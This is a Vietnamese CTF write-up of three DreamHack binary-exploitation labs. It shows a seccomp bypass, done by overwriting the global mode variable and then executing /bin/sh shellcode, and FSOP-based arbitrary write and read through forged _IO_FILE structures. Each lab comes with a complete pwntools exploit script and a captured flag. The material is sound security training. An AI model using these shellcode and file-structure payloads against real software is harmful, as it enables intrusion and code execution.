# DreamHack write-up # Seccomp (2) - Learn ## Source code ```c // gcc -o seccomp seccomp.cq #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <stddef.h> #include <sys/prctl.h> #include <linux/seccomp.h> #include <linux/filter.h> #include <linux/unistd.h> #include <linux/audit.h> #include <sys/mman.h> int mode = SECCOMP_MODE_STRICT; void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } int syscall_filter() { #define syscall_nr (offsetof(struct seccomp_data, nr)) #define arch_nr (offsetof(struct seccomp_data, arch)) /* architecture x86_64 */ #define REG_SYSCALL REG_RAX #define ARCH_NR AUDIT_ARCH_X86_64 struct sock_filter filter[] = { /* Validate architecture. */ BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr), BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0), BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL), /* Get system call number. */ BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr), }; struct sock_fprog prog = { .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), .filter = filter, }; if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) { perror("prctl(PR_SET_NO_NEW_PRIVS)\n"); return -1; } if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) { perror("Seccomp filter error\n"); return -1; } return 0; } int main(int argc, char* argv[]) { void (*sc)(); unsigned char *shellcode; int cnt = 0; int idx; long addr; long value; initialize(); shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); while(1) { printf("1. Read shellcode\n"); printf("2. Execute shellcode\n"); printf("3. Write address\n"); printf("> "); scanf("%d", &idx); switch(idx) { case 1: if(cnt != 0) { exit(0); } syscall_filter(); printf("shellcode: "); read(0, shellcode, 1024); cnt++; break; case 2: sc = (void *)shellcode; sc(); break; case 3: printf("addr: "); scanf("%ld", &addr); printf("value: "); scanf("%ld", addr); break; default: break; } } return 0; } ``` - Đoạn đơn giản chỉ là cho mình thực thi shellcode sau khi đã filter bằng `seccomp` nên phần mình cần quan tâm chính là cách hàm `filter()` cấm các `syscall` ### Seccomp filter - Thật ra mình cũng chưa hiểu toàn bộ các struct trong hàm này nên chỉ tập trung vào các vị trí quan trọng - Nhìn thì nó giống đoạn code mẫu set up seccomp BPF này : ```c // Name: secbpf_alist.c // Compile: gcc -o secbpf_alist secbpf_alist.c #include <fcntl.h> #include <linux/audit.h> #include <linux/filter.h> #include <linux/seccomp.h> #include <linux/unistd.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/prctl.h> #include <unistd.h> #define ALLOW_SYSCALL(name) \ BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \ BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW) #define KILL_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL) #define syscall_nr (offsetof(struct seccomp_data, nr)) #define arch_nr (offsetof(struct seccomp_data, arch)) /* architecture x86_64 */ #define ARCH_NR AUDIT_ARCH_X86_64 int sandbox() { struct sock_filter filter[] = { /* Validate architecture. */ BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr), BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0), BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL), /* Get system call number. */ BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr), /* List allowed syscalls. */ ALLOW_SYSCALL(rt_sigreturn), ALLOW_SYSCALL(open), ALLOW_SYSCALL(openat), ALLOW_SYSCALL(read), ALLOW_SYSCALL(write), ALLOW_SYSCALL(exit_group), KILL_PROCESS, }; struct sock_fprog prog = { .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])), .filter = filter, }; if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) { perror("prctl(PR_SET_NO_NEW_PRIVS)\n"); return -1; } if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) { perror("Seccomp filter error\n"); return -1; } return 0; } void banned() { fork(); } int main(int argc, char* argv[]) { char buf[256]; int fd; memset(buf, 0, sizeof(buf)); sandbox(); if (argc < 2) { banned(); } fd = open("/bin/sh", O_RDONLY); read(fd, buf, sizeof(buf) - 1); write(1, buf, sizeof(buf)); return 0; } ``` - Chú ý thấy điểm khác : ```c if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) { perror("Seccomp filter error\n"); return -1; } --------------------------------------------------- if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) { perror("Seccomp filter error\n"); return -1; } int mode = SECCOMP_MODE_STRICT; ``` -> Từ đây mình đoán mặc dù nó set up seccomp FILTER_MODE: BPF nhưng lại đặt mode STRICT_MODE (chỉ cho read, write, sigreturn,exit) ## Bypass seccomp - Nếu để STRICT_MODE thì thật khó để dùng các syscall cho phép để lấy flag. - Thật may, challenge cho case có thể thay đổi giá trị tại 1 địa chỉ bất kì mà biến `mode` lại là biến global + tắt PIE nên ý tưởng sẽ overwrite mode để `prctl(PR_SET_SECCOMP, mode, &prog)` không thực hiện đúng seccomp STRICT_MODE. - mode `STRICT_MODE` = 1 -> overwrite khác 1 là được ## Get flag ```py #!/usr/bin/env python3 from pwn import * def s(p, data): p.send(data) def sl(p, data): p.sendline(data) def sla(p, msg, data): p.sendlineafter(msg, data) def sa(p, msg, data): p.sendafter(msg, data) def rl(p): return p.recvline() def ru(p, msg): return p.recvuntil(msg) def r(p, size): return p.recv(size) def intFromByte(p, size): o = p.recv(size)[::-1].hex() output = '0x' + o leak = int(output, 16) return leak def get_exe_base(pid): maps_file = f"/proc/{pid}/maps" exe_base = None with open(maps_file, 'r') as f: exe_base = int(f.readline().split('-')[0], 16) if exe_base is None: raise Exception("Executable base address not found.") return exe_base def leak(p, payload): sl(p, payload) ru(p, b'|') leak = int(ru(p, b'|').replace(b'|', b''), 16) return leak def GDB(p): base = get_exe_base(p.pid) gdb.attach(p, gdbscript=''' b*0x0000000000400A33 c ''') input() def main(): context.binary = exe = ELF("./seccomp", checksec=False) # libc = ELF("./", checksec=False) # ld = ELF("./", checksec=False) p = process(exe.path) # p = remote("host3.dreamhack.games",23936) mode = 0x602090 sla(p,b'> ',b'3') GDB(p) sla(p,b'addr: ',str(mode).encode()) sla(p,b'value: ',str(2).encode()) sla(p,b'> ',b'1') shellcode = asm(shellcraft.amd64.sh()) sla(p,b'shellcode: ',shellcode) sl(p,b'2') p.interactive() if __name__ == "__main__": main() # DH{22b3695a64092efd8845efe7eda784a4} ``` # _IO_FILE Arbitrary Address Write ## Phân tích - Về bug thì khá rõ là BOF ở `read(0, fp, 300);` nhưng ở đây có điều đặc biệt lại ghi vào buffer của 1 IO_FILE -> FSOP ở hàm fread - Mình đã có 1 blog riêng về hàm này và ứng dụng cho bài này - [fread() - FSOP write data](https://hackmd.io/hp5NGEn9S1KlLYm6vxfp0w?view#3-fread---FSOP-write-data) ## Khai thác - Mục tiêu : `overwrite_me == 0xDEADBEEF` - overwrite_me : nằm ở .bss (PIE tắt) - ghi được vào buffer IO_FILE - Dựa vào bài thì ta sẽ tận dụng : `read (fp->_fileno, buf, size));` được gọi - `buf` : fp->_IO_buf_base - `size` : fp->_IO_buf_end - fp->_IO_buf_base - Công việc sẽ là overwrite : - _IO_buf_base ----> overwrite_me - _IO_buf_end ----> overwrite_me + nbytes - fp->_fileno = 1 : để gọi read với stdin :::warning - Có 1 yêu cầu nhỏ : - `size` : fp->_IO_buf_end - fp->_IO_buf_base > size đã yêu cầu khi gọi fread ( ở bài này là 1023) -> nên ở đây cho _IO_buf_end = overwrite_me + 1024 ::: ## Get flag ```py def main(): context.binary = exe = ELF("./chall_patched", checksec=False) libc = ELF("./libc.so.6", checksec=False) ld = ELF("./ld-2.27.so", checksec=False) # p = process(exe.path) p = remote('host3.dreamhack.games',13605) overwrite_me = 0x6014a0 payload = flat( 0xfbad2488, 0,0,0,0,0,0, overwrite_me, overwrite_me + 1024, 0,0,0,0,0,0 ) # GDB(p) sa(p,b'Data: ',payload) p.sendline(p64(0xDEADBEEF) + b"A"*1024) p.interactive() if __name__ == "__main__": main() ``` # _IO_FILE Arbitrary Address Read ## Phân tích - Về bug vẫn là BOF ở 1 IO_FILE tuy nhiên bài này gọi fwrite mục đích để học cách leak dữ liệu thông qua overwrite thành stdout. - Kiến thức của bài này sẽ giống với [FSOP : puts](https://hackmd.io/Mx1bLro_Tp-VMh6u--k13w?view#FSOP) ## Khai thác : - Mục tiêu : In flag ra màn hình với flag đã được ghi vào .bss trước đó - Target overwrite : - flags = 0xfbad1800 - _IO_write_base = flag address - _IO_buf_end = flag address + nbytes - fileno = 1 -> để thành write với stdout - với `_IO_buf_end - _IO_write_base` > size được yêu cầu khi gọi fwrite() ## Get flag ```py def main(): context.binary = exe = ELF("./iofile_aar_patched", checksec=False) libc = ELF("./libc.so.6", checksec=False) # ld = ELF("./", checksec=False) p = process(exe.path) p =remote("host3.dreamhack.games",19842) flag_buf= exe.sym.flag_buf print(hex(flag_buf)) payload = p64(0xfbad1800) payload += p64(0) # _IO_read_ptr payload += p64(0) # _IO_read_end payload += p64(0) # _IO_read_base payload += p64(flag_buf) # _IO_write_base payload += p64(flag_buf + 1024) # _IO_write_ptr payload += p64(0) # _IO_write_end payload += p64(0) # _IO_buf_base payload += p64(0) # _IO_buf_end payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(1) # stdout # GDB(p) sa(p,b'Data: ',payload) p.interactive() ```